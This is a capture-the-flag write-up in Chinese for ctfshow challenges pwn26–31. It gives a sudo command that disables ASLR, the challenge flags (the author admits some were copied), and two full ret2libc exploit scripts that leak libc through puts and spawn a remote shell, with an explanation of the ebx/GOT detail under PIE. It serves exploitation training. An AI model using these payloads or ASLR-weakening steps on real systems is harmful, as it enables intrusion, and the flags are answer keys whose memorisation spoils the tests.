前置知识和工具

关于pwn26-28:——尽管我操作了很久也搞不出题目的flag,最后都抄了别人的flag

pwn26

修改ASLR设置代码如下:

1
2

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

再运行pwn可执行文件,得到flag:
1
ctfshow{0x400687_0x400560_0x603260_0x7ffff7fd64f0}

pwn27

代码:

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

再运行pwn可执行文件,得到flag:
1
ctfshow{0x400687_0x400560_0x603260}

pwn28

直接运行即可得到flag:

1
ctfshow{0x400687_0x400560}

pwn29

确保ASLR保护码为2,直接运行可得答案:

1
ctfshow{Address_Space_Layout_Randomization&&Position-Independent_Executable_1s_C0000000000l!}

pwn30

我甚至是直接用pwn25的payload小改一下就做出来了。

ctfshow-pwn25-WP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", "28308")

offset = 140

elf = ELF('./pwn30')

put_plt = elf.plt['puts']
put_got = elf.got['puts']
main_addr = elf.symbols['main']

payload = offset * b'a' + p32(put_plt) + p32(main_addr) + p32(put_got)

p.sendline(payload)

puts_addr = u32(p.recv()[0:4])

print(hex(puts_addr))

libc_v = LibcSearcher("puts", puts_addr)
libc_base = puts_addr - libc_v.dump('puts')
system_addr = libc_base + libc_v.dump('system')
binsh_addr = libc_base + libc_v.dump('str_bin_sh')

payload = offset * b'a' + p32(system_addr) + p32(main_addr) + p32(binsh_addr)

p.sendline(payload)

p.interactive()

flag:

1
ctfshow{9f1c6270-f24b-4f94-ac8d-33cbd59d64a6}

pwn31

前置知识:pwn25的WP

本wp主要讲解二者差别。

先给出payload。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from LibcSearcher import *

elf = ELF("./pwn31")
r = remote("pwn.challenge.ctf.show", "28308")

main_real_addr = int(r.recv().strip(), 16)
main_ori_addr = elf.symbols['main']

addr_offset = main_real_addr - main_ori_addr

puts_real_plt = addr_offset + elf.plt['puts']
puts_real_got = addr_offset + elf.got['puts']
ctfshow_real_addr = addr_offset + elf.symbols['ctfshow']

payload = 132 * b'a' + p32(addr_offset + 0x1fc0) + 4 * b'a' + p32(puts_real_plt) + p32(main_real_addr) + p32(puts_real_got)

r.sendline(payload)

puts_real_addr = u32(r.recv()[0:4])

l = LibcSearcher("puts",puts_real_addr)

l_base = puts_real_addr - l.dump('puts')
system_real_addr = l_base + l.dump('system')
bin_sh_real_addr = l_base + l.dump('str_bin_sh')

payload = 140 * b'a' + p32(system_real_addr) + p32(main_real_addr) + p32(bin_sh_real_addr)

r.sendline(payload)

r.interactive()

两题的差别

两题的差别主要在于pwn31打开了PIE,这带来了payload中两部分的不同:

  1. 我们必须通过程序泄露的真实地址来确定PIE导致的偏移量(基地址),并且后续的函数的真实地址也必须加上基地址。
  2. 我们的payload串构造不同,其中第133-136位我们填入了特殊值。

下面主要讲解第2点,主要是我对第二点感到困惑。

第2点不同

ebx真正发挥了作用

133-136位其实在两题的代码中一直都有特殊意义,因为根据函数反汇编,都在ctfshow函数的最后有:

1
8048526:       8b 5d fc                mov    -0x4(%ebp),%ebx

将栈中的一个4字节数(前面提到的133-136位)赋给了寄存器ebx

尽管这个赋值动作是共有的,但是具体的区别其实在寄存器ebx是否被真正运用上。

ebx这个寄存器一般被用于存储基地址。

这是pwn25题目中程序在.plt部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Disassembly of section .plt:

08048370 <.plt>:
8048370: ff 35 04 a0 04 08 push 0x804a004
8048376: ff 25 08 a0 04 08 jmp *0x804a008
804837c: 00 00 add %al,(%eax)
...

08048380 <read@plt>:
8048380: ff 25 0c a0 04 08 jmp *0x804a00c
8048386: 68 00 00 00 00 push $0x0
804838b: e9 e0 ff ff ff jmp 8048370 <.plt>

08048390 <puts@plt>:
8048390: ff 25 10 a0 04 08 jmp *0x804a010
8048396: 68 08 00 00 00 push $0x8
804839b: e9 d0 ff ff ff jmp 8048370 <.plt>

080483a0 <__libc_start_main@plt>:
80483a0: ff 25 14 a0 04 08 jmp *0x804a014
80483a6: 68 10 00 00 00 push $0x10
80483ab: e9 c0 ff ff ff jmp 8048370 <.plt>

080483b0 <write@plt>:
80483b0: ff 25 18 a0 04 08 jmp *0x804a018
80483b6: 68 18 00 00 00 push $0x18
80483bb: e9 b0 ff ff ff jmp 8048370 <.plt>

080483c0 <setvbuf@plt>:
80483c0: ff 25 1c a0 04 08 jmp *0x804a01c
80483c6: 68 20 00 00 00 push $0x20
80483cb: e9 a0 ff ff ff jmp 8048370 <.plt>

Disassembly of section .plt.got:

080483d0 <__gmon_start__@plt>:
80483d0: ff 25 f4 9f 04 08 jmp *0x8049ff4
80483d6: 66 90 xchg %ax,%ax

可以看到直接jmp了一个地址。

再看pwn31中.plt部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Disassembly of section .plt:

00000460 <.plt>:
460: ff b3 04 00 00 00 push 0x4(%ebx)
466: ff a3 08 00 00 00 jmp *0x8(%ebx)
46c: 00 00 add %al,(%eax)
...

00000470 <read@plt>:
470: ff a3 0c 00 00 00 jmp *0xc(%ebx)
476: 68 00 00 00 00 push $0x0
47b: e9 e0 ff ff ff jmp 460 <.plt>

00000480 <printf@plt>:
480: ff a3 10 00 00 00 jmp *0x10(%ebx)
486: 68 08 00 00 00 push $0x8
48b: e9 d0 ff ff ff jmp 460 <.plt>

00000490 <puts@plt>:
490: ff a3 14 00 00 00 jmp *0x14(%ebx)
496: 68 10 00 00 00 push $0x10
49b: e9 c0 ff ff ff jmp 460 <.plt>

000004a0 <__libc_start_main@plt>:
4a0: ff a3 18 00 00 00 jmp *0x18(%ebx)
4a6: 68 18 00 00 00 push $0x18
4ab: e9 b0 ff ff ff jmp 460 <.plt>

000004b0 <write@plt>:
4b0: ff a3 1c 00 00 00 jmp *0x1c(%ebx)
4b6: 68 20 00 00 00 push $0x20
4bb: e9 a0 ff ff ff jmp 460 <.plt>

000004c0 <setvbuf@plt>:
4c0: ff a3 20 00 00 00 jmp *0x20(%ebx)
4c6: 68 28 00 00 00 push $0x28
4cb: e9 90 ff ff ff jmp 460 <.plt>

可以看到,ebx这个寄存器真正地发挥了作用。

不难发现:ebx寄存器中存储的就是.got表的基地址,这点读者可以自己自行验证,手动做做加法。

一个顺手给的验证

顺便给出程序中一个手动验证ebx的地方,在ctfshow的函数地址中:

1
2
3
4
5
6
7
8
9
627:   e8 9b 01 00 00          call   7c7 <__x86.get_pc_thunk.ax>
62c: 05 94 19 00 00 add $0x1994,%eax
631: 83 ec 04 sub $0x4,%esp
634: 68 00 01 00 00 push $0x100
639: 8d 95 78 ff ff ff lea -0x88(%ebp),%edx
63f: 52 push %edx
640: 6a 00 push $0x0
642: 89 c3 mov %eax,%ebx
644: e8 27 fe ff ff call 470 <read@plt>

  1. 其中,<__x86.get_pc_thunk.{某个字母}x>会返回下一条指令的地址(利用函数调用时会自动往栈中推入一个下一行代码地址作为返回地址的特点)给寄存器e{某个字母}x
    所以调用完后eax的值为0x627+程序基地址
  2. 然后程序给eax加上了一个偏移量0x1994,那么eax此时的值为0x1fc0+程序基地址,这其实就是此时.got表的真实基地址。
  3. 在调用<read@plt>前,eax的值被付给了ebx,此时ebx寄存器中的值就是.got表的真实基地址。

payload串更改的理由

因为我们是先输入溢出字符串,然后才是程序将-0x4(%ebp)(也就是前文的133-136位)中的值赋给ebx,然后才是ret指令将程序跳至我们要的函数。

此时,因为ebx真的发挥了作用,我们不得不将-0x4(%ebp)(也就是前文的133-136位)在payload中输出为真实的.got表地址,也就是实际上不改变这4字节栈中的值,来确保我们后续过程中,ret指令后能正确地通过.plt表转到我们需要的puts函数中。

所以第二次我们不再麻烦,因为我们已经获取了system函数和bin/sh字符串的真实地址,不再经由.plt表跳转,也就不在介意ebx寄存器了。

flag

1
ctfshow{3df9bce0-290d-47be-9d73-e591295b38b3}